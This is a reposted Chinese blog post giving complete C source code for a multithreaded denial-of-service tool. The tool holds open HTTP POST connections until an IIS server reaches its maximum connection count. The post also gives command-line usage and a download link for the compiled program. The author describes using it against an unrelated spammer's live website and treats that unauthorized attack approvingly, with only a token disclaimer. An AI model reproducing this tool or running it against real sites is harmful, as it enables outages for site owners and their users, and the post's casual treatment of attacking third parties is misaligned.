以小搏大——利用IIS最大连接数实现网站DOS

news/2024/5/14 15:51:56/文章来源:https://blog.csdn.net/lake2/article/details/419358
(声明:本程序仅做为技术交流之用,勿用于非法用途!)
最近买了个空间来玩,各位勿笑,是入门级的虚拟主机(偶是穷人啊),各种参数都相当低,特别是IIS连接数,只有100个(也就是同时支持100个不同的访问)。
这里就出现问题了。如果我一直对该网站进行连接,虽然我是同一个人,但是IIS却傻乎乎的把每次连接当成不同的人,每连接一次就会分配一个session给我,当连接超过服务器设置的IIS最大连接数目的时候……呵呵,拒绝服务就发生了。
具体的攻击嘛,我们当然是利用程序来完成。思路简单,就是不断的向网站发HTTP请求,直到超过它的最大连接数。正好机器上有以前看了shotgun的《HTTP协议Content Lenth限制漏洞导致拒绝服务攻击》写的测试程序,跟今天的要求很相似,就拿来改改咯。具体代码如下:
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //设置最大线程数
int ThreadCount=0;
struct mydata
{
char *ip;
int  port;
};
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
DWORD WINAPI Dos(LPVOID lpParam )
{
mydata *csdn = (mydata*)lpParam;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(csdn->port);
server.sin_addr.s_addr = resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{
printf("Don't find  address %s/n",(char*)csdn->ip);
exit(0);
}
int my;
char buf[100]="POST / HTTP/1.1/r/nHost: ";
strcat(buf,(char*)csdn->ip);
strcat(buf," /r/nContent-Length: 10/r/n/r/n");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
{
printf("Socket ERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
ThreadCount--;
return 0;
}
void thread ( char *a1 , char *a2 , char *a3 )
{
static mydata tmp;
tmp.ip = a1;
tmp.port = atoi(a2);
DWORD dwThreadId;
HANDLE hThread;
WSADATA ws;
if   (WSAStartup( MAKEWORD(2,2), &ws )!=0)
{
printf(" [-] WSAStartup() error/n");
exit(0);
}
hThread = CreateThread(
NULL,                        // no security attributes
0,                           // use default stack size 
Dos,                  // thread function
&tmp,                // argument to thread function
0,                           // use default creation flags
&dwThreadId);                // returns the thread identifier
if (hThread == NULL)
printf( "CreateThread failed." );
ThreadCount++;
Sleep(200);     //延时,否则CPU会用满……
CloseHandle(hThread);
}
int main(int argc, char* argv[])
{
int i=0;
if(argc!=4)
{
printf("/n/tIIS MaxConnectionCount DOS by lake2 ,Jul,8,2005/n");
printf("-Usage:/n");
printf("%s <TargetAddress> <port> <MaxConnectionCount>/n",argv[0]);
printf("-Example: %s www.target.com 80 300/n",argv[0]);
return 0;
}
printf("Starting DOS.............Ctrl + C break/n");
while( i < atoi(argv[3]) )
{
if( ThreadCount < MAXThreadCount ){ thread(argv[1],argv[2],argv[3]); i++;}
}
while( 1 ){      }
WSACleanup();
return 0;
}
(VS.net 、XP SP1调试通过。编译好的程序可以在这里找到: http://www.0x54.org/lake2/program/IISDos.exe )
程序为命令行程序,共有三个参数,依次为要攻击的网站域名、端口、连接数。嗯,测试下效果先。
测试的目标是个人电脑,系统为win2000。IIS管理中把最大连接数设为200,很快网站就不能访问了;增大到500,仍然会被当;800,还是要被当(图)。测试过程中该电脑正在运行魔兽世界,而且一直正常。看来我们的程序只是对付网站,不会央及无辜的啊^_^




既然如此,那索性试试IIS连接数为无限的情况。程序中的连接参数我填的8000,结果运行途中我的系统没有了缓冲区间,winsock产生10055号错误,程序中止。呵呵,看来这种方法还是只能针对使用虚拟空间的中小网站。
好,偶们来实际使用一下。打开邮箱,随便找封广告垃圾邮件,访问那家伙的网站,然后开始攻击它,对付这种小站连接数就设成300就绰绰有余了。呵呵,很快那网站就不工作了(图),嘿嘿,这可怪不得我,谁叫他发垃圾邮件在前。好了,测试完毕,通过验收,就不跟他玩了。




这只是个测试程序,真正要投入到应用还得再完善完善。再说废话一句,要是跟别人没有国仇家恨的话还是不要DOS的好。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_873602.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

中国人想在外国卖东西,这些经典网站不能错过

中国人想在外国卖东西&#xff0c;这些经典网站不能错过 全美通用的销售平台1.Craigslist2.Etsy3. Amazon4.EBay针对本地用户的销售平台5.Nextdoor6.Letgo7. OfferUp8.Facebook Marketplace可以卖游戏相关商品赚钱的网站9. Decluttr10. Gameflip11. Gazelle可以卖衣服赚钱的网站…

在IIS6上部署MVC2网站

目前我的项目是使用MVC2来做的&#xff0c;虽然MVC3已经正式推出了&#xff0c;但考虑到一方面MVC3需要另外安装&#xff0c;另一方面据说MVC3的依赖库较多&#xff0c;所以就图方便&#xff0c;还是用MVC2&#xff0c;VS2010就自带了。项目在本地调试是没有任何问题的&#xf…

在IIS6上部署MVC2网站(续篇)

根据上一篇所描述的方法去配置&#xff0c;在后来碰到了不少麻烦&#xff0c;主要的麻烦就是View中链接的问题。 为了适应本地调试&#xff0c;我配置了两个路由规则&#xff1a; routes.MapRoute("Default.Mvc","{controller}.mvc/{action}/{value}",new …

ASP.NET开发中修改代码而不重启网站

我们在做网站开发的时候&#xff0c;通常是写好了一个功能就要进行测试&#xff0c;Visual Studio上点“Start Debugging”(快捷键是F5)&#xff0c;这是调试模式&#xff0c;也有直接运行模式&#xff0c;“Start Without Debugging”(快捷键是CtrlF5)&#xff0c;网站启动&am…

Dreamweaver PHP动态网站开发从入门到精通pdf

链接&#xff1a;https://pan.baidu.com/s/16y4eZONABXjdyzzhSKQTbQ 密码&#xff1a;ezkd 本书为完整版&#xff0c;以下为内容截图&#xff1a;

PHP动态网页设计与网站架设pdf

链接&#xff1a;https://pan.baidu.com/s/1htAXnIkBvJSvKJoWqrYirA 密码&#xff1a;mvt8 本书为完整版&#xff0c;以下为内容截图&#xff1a;

PHP动态网站程序设计pdf

链接&#xff1a;https://pan.baidu.com/s/1ATJy0k17ZhPjUT5S8VIzBQ 密码&#xff1a;2l5v 本书为完整版&#xff0c;以下为内容截图&#xff1a;

PHP动态网站开发pdf

链接&#xff1a;https://pan.baidu.com/s/1f5vBCSdP832UcQW9WIy3-Q 密码&#xff1a;4cch 本书为完整版&#xff0c;以下为内容截图&#xff1a;

版本控制工具(网站发布2)

现学现卖 编译好没问题 右键发布 然后设置好导出地址发布就好了

MVC+WCF构建WEB2.0网站(更新完毕)

课程描述 WEB 2.0强调信息的共享&#xff0c;其核心是通过用户来传播信息。从技术上说&#xff0c;它应包括Web服务、富客户端、Ajax等等。 Web服务是信息分发的基础&#xff0c;微软的WCF框架为我们提供了高度统一的服务编程模型&#xff0c;由他编写的服务可通过各种类型的客…

网站签到时Cookie的获取方法

为了签到工具 自己总结了一下cookie的获取方法。 获取网页cookie的方法 &#xff08;以下操作是在火狐浏览器操作的&#xff0c;其它浏览器其实都差不多&#xff0c;请自行参考。&#xff09; 首先打开浏览器&#xff0c;访问你要签到的网站。并登陆 然后按 F12键 出来的菜…

构建一个高性能、高可用的大型分布式网站

本文是学习大型分布式网站架构的技术总结&#xff0c;对构建一个高性能、高可用、可伸缩及可扩展的分布式网站进行了概要性描述&#xff0c;并给出一个架构参考, 大型分布式网站架构技术 大型网站的特点 大型网站一般有如下特点&#xff1a; 用户多&#xff0c;分布广泛 大流…

从零开始建站——我的第一个网站

前言 在小时候就有想法&#xff0c;给未来女朋友写一个表白网站。偏偏是这么巧&#xff0c;大学录取的是计科专业&#xff0c;大一就想写个网站出来&#xff0c;奈何知识储备不够&#xff0c;终于在现在&#xff0c;大二的寒假&#xff0c;把这个想法实现了。谨以此文&#xf…

高扩展性网站的50条原则(转)-思维导图

本篇通过阅读《高扩展性网站的50条原则》&#xff0c;总结出以下内容。 一方面博主没有实际的架构经验&#xff0c;另一方面知识面也不够宽阔&#xff0c;所以只能系统的总结书中的要点&#xff0c;并根据自己的理解做些归纳。 主要内容 本书从多个方面围绕高扩展性提出了50条建…

10分钟学会如何使用高权重网站简书引流

放眼全网&#xff0c;最主流的新媒体矩阵有12个&#xff0c;分别是土豪三兄弟&#xff1a;百度系、阿里系、腾讯系&#xff1b;老牌三兄弟&#xff1a;新浪系、搜狐系、网易系&#xff1b;小资三兄弟&#xff1a;知乎、豆瓣、简书&#xff1b;以及斜杠组合&#xff1a;头条系、…

使用nginx部署网站教程

前面的话 如果服务器只需要放置一个网站程序&#xff0c;解析网站到服务器的网站&#xff0c;网站程序监听80端口就可以了。如果服务器有很多应用&#xff0c;借助nginx不仅可以实现端口的代理&#xff0c;还可以实现负载均衡。本文将详细介绍前端及nodeJS项目在服务器配置时需…

路径(URL)对SEO的影响

前段时间针对电信网上营业厅&#xff0c;写了一份关于路径&#xff08;URL)对SEO影响的报告&#xff0c;现在&#xff0c;发出来&#xff0c;跟大家分享一下 1&#xff1a; URL与SEO 的关系 URL直接影响SEO的排名&#xff0c;根据搜索引擎的抓捕习惯&#xff0c; 一般URL的…

win7 IIS服务发布网站

概述 IIS全称为互联网信息服务&#xff0c;是由微软公司提供的基于运行MicrosoftWindows的互联网基本服务&#xff0c;今天我们主要来看下如何用win7系统自带的IIS服务来发布我们开发的一个简单的ASP.NET网站&#xff0c;来对我们自己开发的网站进行一个简单的测试。 步骤 1.开…

如何正规的快速建立赚钱的网站

第 1 步骤 - 搜索阶段 - 需花费时间:1 星期- 搜寻有关和相关SEO的知识和如何优化并保存下来 1 天。- 搜寻有关和相关你的网站的内容并保存下来 2 天。- 搜寻有关和相关一连串跟你网站有相似内容的链接和搜寻引擎 3 天- 搜寻有关和相关的广告联盟并把他们的链接都保存下来 1 天第…

从留言板开始做网站(一)——准备工作

几乎很多大神说&#xff0c;要学会独立制作一个网站&#xff0c;首先从留言板开始&#xff0c;所以&#xff0c;我也听从大神们的教诲&#xff0c;从一个简单的留言板开始&#xff0c;这将是一个非常非常初级的留言板教程&#xff0c;献给同样是小白的你&#xff0c;大神就请多…